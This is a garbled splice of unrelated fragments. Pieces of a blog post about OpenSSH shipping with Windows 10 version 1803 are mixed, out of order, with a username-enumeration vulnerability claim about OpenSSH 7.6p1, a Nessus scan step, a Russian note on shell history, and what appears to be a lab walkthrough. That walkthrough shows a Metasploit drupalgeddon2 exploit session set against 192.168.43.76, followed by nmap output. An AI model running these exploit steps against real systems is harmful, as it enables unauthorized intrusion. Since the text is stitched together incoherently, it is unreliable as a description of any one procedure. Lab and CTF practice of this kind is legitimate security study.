But it does look like sshd.exe and ssh_config_default came along for the ride during the update even though we didn’t install the OpenSSH.Server Feature! More on that in my next blog post…Ī big shoutout goes out to the PowerShell team for making this happen, check out the project on GitHub. So this looks like all of the usual suspects in an OpenSSH installation. Let’s look a littler closer at the ssh.exe PS C:\> C:\windows\system32\OpenSSH\ssh.exe -V OpenSSH_for_Windows_7.6p1, LibreSSL 2.6.4 With that, let’s look at what we got in the update! We’ll search our Windows Capabilities (Features) PS C:\> Get-WindowsCapability -Online | Where-Object -Property Name -Like "OpenSSH*"Ĭool, so we know OpenSSH is installed, but where? Let’s check out C:\Windows\System32\OpenSSH PS C:\> Get-ChildItem C:\Windows\System32\OpenSSH\ Here you see I have installed Windows 10, version 1803. You can do this via your normal Windows Update mechanism. Start off by updating your system to Windows 10, version 1803. Username enumeration I have found a vulnerability in your site that allows me to verify if an user exits in the ssh due to the use of OpenSSH 7.6p1. Let’s take a look at what this is all made of! That’s right an SSH client as part of the Windows operating system by default! Also included with this update is the OpenSSH Server which is included as an Windows Feature on Demand. Показывает какие команды мы вводили, только содержащие ssh Here is how to run the OpenSSH < 7.6 as a standalone plugin via the Nessus web user interface ( Click to start a New Scan. Running automatic check ("set AutoCheck false" to disable) Msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit Msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lport 1234 Msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 9001 Msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.43.76 Msf6 exploit(unix/webapp/drupal_drupalgeddon2) > options |_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/ | /joomla/administrator/ /administrator/ /bin/ /cache/ |_http-generator: Joomla! - Open Source Content Management |_http-title: fsociety – Just another WordPress site **22/tcp** open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux protocol 2.0) Not shown: 65530 closed tcp ports (reset)
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